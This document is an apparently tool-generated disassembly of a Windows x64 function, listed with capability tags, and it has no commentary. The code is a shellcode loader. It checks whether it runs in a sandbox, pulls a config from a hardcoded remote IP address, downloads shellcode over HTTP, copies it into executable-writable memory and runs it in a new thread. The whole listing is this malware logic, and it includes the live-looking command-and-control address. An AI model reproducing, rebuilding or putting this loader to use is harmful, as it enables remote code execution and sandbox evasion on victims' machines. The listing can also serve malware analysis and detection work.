Function at 0x4019dd
Capabilities:
Allocate or change rwx memory
Create http request
Create thread
Execute shellcode via indirect call
Get http content length
Read data from internet
Receive data
Spawn thread to rwx shellcode

Disassembly:
push rbp
sub rsp, 0x470
lea rbp, [rsp + 0x80]
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
call sym.IsInSandbox
test eax, eax
je 0x401a1a
lea rcx, str.The_program_is_running_inside_a_sandbox.
call sym.puts
mov eax, 1
jmp 0x40228f
call sym.IsMemorySufficient
test eax, eax
jne 0x401a39
lea rcx, str.Insufficient_memory.
call sym.puts
mov eax, 1
jmp 0x40228f
mov qword [rbp + 0x2c0], 0
mov qword [rbp + 0x2c8], 0
mov qword [rbp + 0x2d0], 0
mov qword [rbp + 0x2d8], 0
mov qword [rbp + 0x2e0], 0
mov qword [rbp + 0x2e8], 0
mov qword [rbp + 0x2f0], 0
mov qword [rbp + 0x2f8], 0
mov qword [rbp + 0x300], 0
mov qword [rbp + 0x308], 0
mov qword [rbp + 0x310], 0
mov qword [rbp + 0x318], 0
mov qword [rbp + 0x320], 0
mov qword [rbp + 0x328], 0
mov qword [rbp + 0x330], 0
mov qword [rbp + 0x338], 0
mov qword [rbp + 0x340], 0
mov qword [rbp + 0x348], 0
mov qword [rbp + 0x350], 0
mov qword [rbp + 0x358], 0
mov qword [rbp + 0x360], 0
mov qword [rbp + 0x368], 0
mov qword [rbp + 0x370], 0
mov qword [rbp + 0x378], 0
mov qword [rbp + 0x380], 0
mov qword [rbp + 0x388], 0
mov qword [rbp + 0x390], 0
mov qword [rbp + 0x398], 0
mov qword [rbp + 0x3a0], 0
mov qword [rbp + 0x3a8], 0
mov qword [rbp + 0x3b0], 0
mov qword [rbp + 0x3b8], 0
mov qword [rbp + 0x1c0], 0
mov qword [rbp + 0x1c8], 0
mov qword [rbp + 0x1d0], 0
mov qword [rbp + 0x1d8], 0
mov qword [rbp + 0x1e0], 0
mov qword [rbp + 0x1e8], 0
mov qword [rbp + 0x1f0], 0
mov qword [rbp + 0x1f8], 0
mov qword [rbp + 0x200], 0
mov qword [rbp + 0x208], 0
mov qword [rbp + 0x210], 0
mov qword [rbp + 0x218], 0
mov qword [rbp + 0x220], 0
mov qword [rbp + 0x228], 0
mov qword [rbp + 0x230], 0
mov qword [rbp + 0x238], 0
mov qword [rbp + 0x240], 0
mov qword [rbp + 0x248], 0
mov qword [rbp + 0x250], 0
mov qword [rbp + 0x258], 0
mov qword [rbp + 0x260], 0
mov qword [rbp + 0x268], 0
mov qword [rbp + 0x270], 0
mov qword [rbp + 0x278], 0
mov qword [rbp + 0x280], 0
mov qword [rbp + 0x288], 0
mov qword [rbp + 0x290], 0
mov qword [rbp + 0x298], 0
mov qword [rbp + 0x2a0], 0
mov qword [rbp + 0x2a8], 0
mov qword [rbp + 0x2b0], 0
mov qword [rbp + 0x2b8], 0
mov qword [rbp + 0xc0], 0
mov qword [rbp + 0xc8], 0
mov qword [rbp + 0xd0], 0
mov qword [rbp + 0xd8], 0
mov qword [rbp + 0xe0], 0
mov qword [rbp + 0xe8], 0
mov qword [rbp + 0xf0], 0
mov qword [rbp + 0xf8], 0
mov qword [rbp + 0x100], 0
mov qword [rbp + 0x108], 0
mov qword [rbp + 0x110], 0
mov qword [rbp + 0x118], 0
mov qword [rbp + 0x120], 0
mov qword [rbp + 0x128], 0
mov qword [rbp + 0x130], 0
mov qword [rbp + 0x138], 0
mov qword [rbp + 0x140], 0
mov qword [rbp + 0x148], 0
mov qword [rbp + 0x150], 0
mov qword [rbp + 0x158], 0
mov qword [rbp + 0x160], 0
mov qword [rbp + 0x168], 0
mov qword [rbp + 0x170], 0
mov qword [rbp + 0x178], 0
mov qword [rbp + 0x180], 0
mov qword [rbp + 0x188], 0
mov qword [rbp + 0x190], 0
mov qword [rbp + 0x198], 0
mov qword [rbp + 0x1a0], 0
mov qword [rbp + 0x1a8], 0
mov qword [rbp + 0x1b0], 0
mov qword [rbp + 0x1b8], 0
lea rcx, [rbp + 0xc0]
lea rdx, [rbp + 0x1c0]
lea rax, [rbp + 0x2c0]
mov r9, rcx
mov r8, rdx
mov rdx, rax
lea rcx, str.http:__154.204.181.216_l9.ini
call sym.ReadConfig
test eax, eax
jne 0x401e9d
lea rcx, str.Failed_to_read_config_file.
call sym.puts
mov eax, 1
jmp 0x40228f
lea rcx, [rbp + 0x2c0]
lea rax, [rbp - 0x40]
lea rdx, [rbp + 0xc0]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp + 0x1c0]
mov qword [rsp + 0x20], rdx
mov r9, rcx
lea r8, str.http:___s:_s__s
mov edx, 0x100
mov rcx, rax
mov rax, qword [dbg.sprintf_s]
call rax
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rcx, str.User_Agent
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0x3e8], rax
cmp qword [rbp + 0x3e8], 0
jne 0x401f2b
lea rcx, str.Failed_to_open_Internet_connection.
call sym.puts
mov eax, 2
jmp 0x40228f
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x3e8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x84000100
mov r9d, 0
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp + 0x3e0], rax
cmp qword [rbp + 0x3e0], 0
jne 0x401fa4
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Failed_to_open_shellcode_file___u_._n
call sym.printf
mov rax, qword [rbp + 0x3e8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, 3
jmp 0x40228f
mov dword [rbp - 0x44], 0
mov dword [rbp - 0x48], 4
mov dword [rbp - 0x4c], 0
lea rcx, [rbp - 0x48]
lea rdx, [rbp - 0x44]
mov rax, qword [rbp + 0x3e0]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8, rdx
mov edx, 0x20000005
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_HttpQueryInfoA]
call rax
test eax, eax
jne 0x402033
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Failed_to_retrieve_content_length___u_._n
call sym.printf
mov rax, qword [rbp + 0x3e0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x3e8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, 4
jmp 0x40228f
mov eax, dword [rbp - 0x44]
mov eax, eax
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x3d8], rax
cmp qword [rbp + 0x3d8], 0
jne 0x40208d
lea rcx, str.Failed_to_allocate_memory_for_shellcode.
call sym.puts
mov rax, qword [rbp + 0x3e0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x3e8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, 5
jmp 0x40228f
mov ecx, dword [rbp - 0x44]
lea r8, [rbp - 0x4c]
mov rdx, qword [rbp + 0x3d8]
mov rax, qword [rbp + 0x3e0]
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
test eax, eax
jne 0x40210e
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Failed_to_read_shellcode_file___u_._n
call sym.printf
mov rax, qword [rbp + 0x3e0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x3e8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x3d8]
mov rcx, rax
call sym.free
mov eax, 6
jmp 0x40228f
mov rax, qword [rbp + 0x3e0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0x3e8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov eax, dword [rbp - 0x44]
mov eax, eax
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x3d0], rax
cmp qword [rbp + 0x3d0], 0
jne 0x402197
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Failed_to_allocate_memory___u__n
call sym.printf
mov rax, qword [rbp + 0x3d8]
mov rcx, rax
call sym.free
mov eax, 7
jmp 0x40228f
mov eax, dword [rbp - 0x44]
mov ecx, eax
mov rdx, qword [rbp + 0x3d8]
mov rax, qword [rbp + 0x3d0]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov rax, qword [rbp + 0x3d0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x3c8], rax
cmp qword [rbp + 0x3c8], 0
jne 0x402245
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Failed_to_create_thread___u__n
call sym.printf
mov rax, qword [rbp + 0x3d0]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov rax, qword [rbp + 0x3d8]
mov rcx, rax
call sym.free
mov eax, 8
jmp 0x40228f
mov rax, qword [rbp + 0x3c8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x3d0]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov rax, qword [rbp + 0x3d8]
mov rcx, rax
call sym.free
mov eax, 0
add rsp, 0x470
pop rbp
ret